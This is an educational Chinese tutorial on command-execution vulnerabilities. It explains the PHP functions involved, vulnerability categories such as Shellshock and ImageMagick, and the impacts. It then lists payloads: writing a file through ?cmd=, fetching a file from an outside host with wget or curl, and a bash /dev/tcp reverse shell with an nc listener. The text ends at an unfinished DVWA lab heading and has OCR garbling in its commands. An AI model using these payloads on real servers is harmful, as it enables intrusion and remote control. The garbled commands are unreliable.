命令执行漏洞
- 背景
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一-些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一-些外部程序。当应用需要调用- - -些外部程序时就会用到一-些执行系统命令的函数。 - 命令执行漏洞原理
命令执行漏洞(Command Execution)是指应用有时需要调用一些执行系统命令的函数,如: system()、 exec()、shell exec()、 eval()、 passthru(), 代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
漏洞分类
- 1.代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在Web应用中通过system函数来调用:system(" /bin/program --arg $arg’ ) ; - 系统的漏洞造成命令注入
bash破壳漏洞(CVE- -2014- -6271) - 调用的第三方组件存在代码执行漏洞
WordPress中用来处理图片的ImageMagick组件;
JAVA中的命令执行漏洞(struts2/ElasticsearchQroovy等) ;
ThinkPHP命令执行;
漏洞危害
-
继承Web服务器程序的权限,去执行系统命令
-
继承Web服务器程序的权限,读写文件
-
反弹shell
-
控制整个网站
-
甚至控制整个服务器
如果有写权限的话,执行pwd或者dir得到绝对路径
写文件:
●?cmd=echo" <?php phpinfo0?>" > /var/www/html/info.php.
●?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
●?cmd=curI http://www.xx.com/phpinfo.txt > /var/www/htm/info.php.
反弹shell
公网服务器执行nc -lvv 8888
目标服务器上执行
?cmd= bash T >& 7dev/tcp/21.x.x.x78888 0>&1
DVWA的四种级别分析
low: